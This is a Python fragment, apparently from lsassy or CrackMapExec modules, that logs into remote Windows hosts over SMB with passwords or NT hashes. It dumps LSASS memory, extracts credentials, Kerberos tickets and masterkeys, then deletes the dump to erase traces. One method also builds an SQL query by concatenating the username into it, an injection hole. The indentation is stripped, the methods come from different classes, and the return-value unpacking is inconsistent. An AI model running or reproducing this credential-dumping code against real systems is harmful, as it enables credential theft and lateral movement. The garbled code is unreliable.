def run_lsassy(
self, context, connection
): # Couldn't figure out how to properly retrieve output from the module without editing. Blatantly ripped from lsassy_dump.py. Thanks pixis - @hackanddo!
logger.init(quiet=True)
host = connection.host
domain_name = connection.domain
username = connection.username
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
session = Session()
session.get_session(address=host,
target_ip=host,
port=445,
lmhash=lmhash,
nthash=nthash,
username=username,
password=password,
domain=domain_name)
if session.smb_session is None:
context.log.error(
"Couldn't connect to remote host. Password likely expired/changed. Removing from DB."
)
cursor.execute(
"UPDATE admin_users SET hash = NULL WHERE username LIKE '" +
username + "'")
return False
dumper = Dumper(session, timeout=10,
time_between_commands=7).load(self.method)
if dumper is None:
context.log.error("Unable to load dump method '{}'".format(
self.method))
return False
file = dumper.dump()
if file is None:
context.log.error("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
credentials = []
credentials = [
cred.get_object() for cred in credentials
if not cred.get_username().endswith("$")
]
credentials_unique = []
credentials_output = []
for cred in credentials:
if [
cred["domain"], cred["username"], cred["password"],
cred["lmhash"], cred["nthash"]
] not in credentials_unique:
credentials_unique.append([
cred["domain"], cred["username"], cred["password"],
cred["lmhash"], cred["nthash"]
])
credentials_output.append(cred)
global credentials_data
credentials_data = credentials_output
def on_admin_login(self, context, connection):
logger.init(quiet=True)
host = connection.host
domain_name = connection.domain
username = connection.username
password = getattr(connection, "password", "")
lmhash = getattr(connection, "lmhash", "")
nthash = getattr(connection, "nthash", "")
session = Session()
session.get_session(address=host,
target_ip=host,
port=445,
lmhash=lmhash,
nthash=nthash,
username=username,
password=password,
domain=domain_name)
if session.smb_session is None:
context.log.error("Couldn't connect to remote host")
return False
dumper = Dumper(session, timeout=10).load(self.method)
if dumper is None:
context.log.error("Unable to load dump method '{}'".format(
self.method))
return False
file = dumper.dump()
if file is None:
context.log.error("Unable to dump lsass")
return False
credentials, tickets = Parser(file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
credentials = []
credentials = [
cred.get_object() for cred in credentials
if not cred.get_username().endswith("$")
]
credentials_unique = []
credentials_output = []
for cred in credentials:
if [
cred["domain"], cred["username"], cred["password"],
cred["lmhash"], cred["nthash"]
] not in credentials_unique:
credentials_unique.append([
cred["domain"], cred["username"], cred["password"],
cred["lmhash"], cred["nthash"]
])
credentials_output.append(cred)
self.process_credentials(context, connection, credentials_output)
def run(self):
"""
Main method to dump credentials on a remote host
"""
session, file, dumper, method = None, None, None, None
# Credential parsing
username = self.args.username if self.args.username else ""
password = self.args.password if self.args.password else ""
lmhash, nthash = "", ""
if not password and self.args.hashes:
if ":" in self.args.hashes:
lmhash, nthash = self.args.hashes.split(":")
else:
lmhash, nthash = 'aad3b435b51404eeaad3b435b51404ee', self.args.hashes
# Exec methods parsing
exec_methods = self.args.exec.split(",") if self.args.exec else None
# Dump modules options parsing
options = {
v.split("=")[0]: v.split("=")[1]
for v in self.args.options.split(",")
} if self.args.options else {}
# Dump path checks
dump_path = self.args.dump_path
if dump_path:
dump_path = dump_path.replace('/', '\\')
if len(dump_path) > 1 and dump_path[1] == ":":
if dump_path[0] != "C":
logging.error(
"Drive '{}' is not supported. 'C' drive only.".format(
dump_path[0]))
return False
dump_path = dump_path[2:]
if dump_path[-1] != "\\":
dump_path += "\\"
parse_only = self.args.parse_only
kerberos_dir = self.args.kerberos_dir
if parse_only and (dump_path is None or self.args.dump_name is None):
logging.error(
"--dump-path and --dump-name required for --parse-only option")
return False
try:
session = Session()
session.get_session(address=self.target,
target_ip=self.target,
port=self.args.port,
lmhash=lmhash,
nthash=nthash,
username=username,
password=password,
domain=self.args.domain,
aesKey=self.args.aesKey,
dc_ip=self.args.dc_ip,
kerberos=self.args.kerberos,
timeout=self.args.timeout)
if session.smb_session is None:
logging.error("Couldn't connect to remote host")
return False
if not parse_only:
dumper = Dumper(session,
self.args.timeout).load(self.args.dump_method)
if dumper is None:
logging.error("Unable to load dump module")
return False
file = dumper.dump(no_powershell=self.args.no_powershell,
exec_methods=exec_methods,
dump_path=dump_path,
dump_name=self.args.dump_name,
timeout=self.args.timeout,
**options)
if file is None:
logging.error("Unable to dump lsass.")
return False
else:
file = ImpacketFile(session).open(share="C$",
path=dump_path,
file=self.args.dump_name,
timeout=self.args.timeout)
if file is None:
logging.error("Unable to open lsass dump.")
return False
credentials, tickets = Parser(file).parse()
file.close()
if not parse_only:
ImpacketFile.delete(session,
file.get_file_path(),
timeout=self.args.timeout)
logging.success("Lsass dump successfully deleted")
else:
logging.debug(
"Not deleting lsass dump as --parse-only was provided")
if credentials is None:
logging.error(
"Unable to extract credentials from lsass. Cleaning.")
return False
with lock:
Writer(credentials,
tickets).write(self.args.format,
output_file=self.args.outfile,
quiet=self.args.quiet,
users_only=self.args.users,
kerberos_dir=kerberos_dir)
except KeyboardInterrupt:
pass
except Exception as e:
logging.error("An unknown error has occurred.", exc_info=True)
finally:
logging.debug("Cleaning...")
logging.debug("dumper: {}".format(dumper))
logging.debug("file: {}".format(file))
logging.debug("session: {}".format(session))
try:
dumper.clean()
logging.debug("Dumper cleaned")
except Exception as e:
logging.debug(
"Potential issue while cleaning dumper: {}".format(str(e)))
try:
file.close()
logging.debug("File closed")
except Exception as e:
logging.debug("Potential issue while closing file: {}".format(
str(e)))
if not parse_only:
try:
if ImpacketFile.delete(session,
file_path=file.get_file_path(),
timeout=self.args.timeout):
logging.debug("Lsass dump successfully deleted")
except Exception as e:
try:
logging.debug(
"Couldn't delete lsass dump using file. Trying dump object..."
)
if ImpacketFile.delete(session,
file_path=dumper.dump_path +
dumper.dump_name,
timeout=self.args.timeout):
logging.debug("Lsass dump successfully deleted")
except Exception as e:
logging.debug(
"Potential issue while deleting lsass dump: {}".
format(str(e)))
try:
session.smb_session.close()
logging.debug("SMB session closed")
except Exception as e:
logging.debug(
"Potential issue while closing SMB session: {}".format(
str(e)))